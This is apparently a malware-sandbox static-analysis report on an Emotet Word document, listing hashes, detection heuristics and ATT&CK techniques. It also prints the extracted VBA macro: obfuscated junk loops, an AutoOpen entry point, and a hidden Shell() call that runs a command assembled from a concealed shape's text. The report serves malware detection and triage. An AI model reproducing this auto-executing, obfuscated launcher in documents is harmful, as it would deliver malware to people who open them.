Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 563e3ce43616e1af…

MALICIOUS

Office (OLE)

80.8 KB Created: 2018-11-22 15:54:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: d70cabb57b2625661794b5ef3a56d25c SHA-1: f4b5ab5d4639c47cb95f93020553dcdd6eeb28cd SHA-256: 563e3ce43616e1af2f291ccb0c9b44d72c6f27805fa6bc8a13d112df828e31ff
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV with a specific Emotet signature. Static analysis reveals the presence of a VBA macro with an AutoOpen function, which is a common execution vector for Emotet. The macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands, likely for downloading and running a secondary payload. The presence of the AutoOpen marker and the Shell() call strongly suggests a downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6872619-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6872619-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3155 bytes
SHA-256: c0df48463cacc778f74ed179638843c560761ba09467e234af10eed70fcce436
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TznFGdWSDrwjIf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
     For JtdCS = 258822360 To JrcGvDk
         Select Case CAqEsjD
         Case 106501112
            niwjTDlMz = Rnd(HtwsldoV)
            zbbPcpVwr = wdGddO
            qwqnruwS = Log(188527114)
      End Select
      DHFaDKMT = MPUqzEu / 298499127
   Next
Set BQViz = Shapes("BMAttprmjsdz")
   On Error Resume Next
     For baQjmT = 60348018 To jmYnjOiE
         Select Case mlzNVFBX
         Case 88544603
            ozrUTNS = Rnd(hWdtp)
            Kzjvv = wdzWCWICF
            PLZwUhs = Log(114320095)
      End Select
      aRLzh = tvtCY / 162288781
   Next
mKuTXr = "" + YLCUSz + wMHRTs + BQViz.TextFrame.TextRange.Text + FPqVimj + IaPAhw + HYJfXwI
   On Error Resume Next
     For PmtiTmi = 296574419 To plhnzUa
         Select Case Njjak
         Case 298300390
            HLNivWbz = Rnd(nAdFCsjv)
            LbwRo = bPZVnWB
            tLWIYvz = Log(339994064)
      End Select
      lwzwqV = UCnUY / 120390727
   Next
   On Error Resume Next
     For FbXhQW = 243168380 To FciFPIT
         Select Case wYMqJEkha
         Case 317508678
            SwPpvUt = Rnd(zJDSShb)
            zGINz = XmVbW
            AqpGU = Log(288192830)
      End Select
      cpmikW = UquGtIiC / 259613705
   Next
   On Error Resume Next
     For ITtjpcDts = 143687756 To tlFnkWX
         Select Case FIMPH
         Case 322859427
            tJmKt = Rnd(KuGOTlI)
            KvsplIb = aBJtGQ
            wDmmpitH = Log(222224448)
      End Select
      tiqwZRk = ivNTZV / 265275346
   Next
jkBzWtGK = Interaction.Shell(CVar("") + wTrQnKM + lNBjYib + cdRwQCK + mKuTXr + cWokoPk + miZJNcNo + BcVvYii, vbHide)
   On Error Resume Next
     For srUSYYj = 300333425 To iJNmqz
         Select Case jrsSDllS
         Case 26383556
            SEMwfJzD = Rnd(ZDRHTENz)
            mzrKzLB = DLYHGBO
            FfjVzzQjE = Log(174574115)
      End Select
      PkZOqmIj = pHFBu / 49119091
   Next
   On Error Resume Next
     For mGjcPPaQ = 178684481 To cwZcv
         Select Case vTDdBpr
         Case 122398719
            ooiJoqhSP = Rnd(UjcrTvU)
            svMEzL = rZsZn
            POjabsHmO = Log(312385817)
      End Select
      KHanTcj = jYzWhjoX / 27524528
   Next
   On Error Resume Next
     For CUzndrZF = 220453258 To qjtwKI
         Select Case zwmSLo
         Case 209623859
            VCBqiQPdb = Rnd(Pjiphmlz)
            BpcAf = ZnahMqjT
            IpYPztbCS = Log(109117796)
      End Select
      YfKRAhNfd = sCWCJ / 194461870
   Next
   On Error Resume Next
     For lnPAjP = 235097336 To iaCRGM
         Select Case IwohG
         Case 71026226
            HDAkuTN = Rnd(mVhTQYaP)
            pTJci = LSaCGSOk
            INjLAvV = Log(107934042)
      End Select
      wnhkm = kiiisnBvY / 105597328
   Next
End Sub

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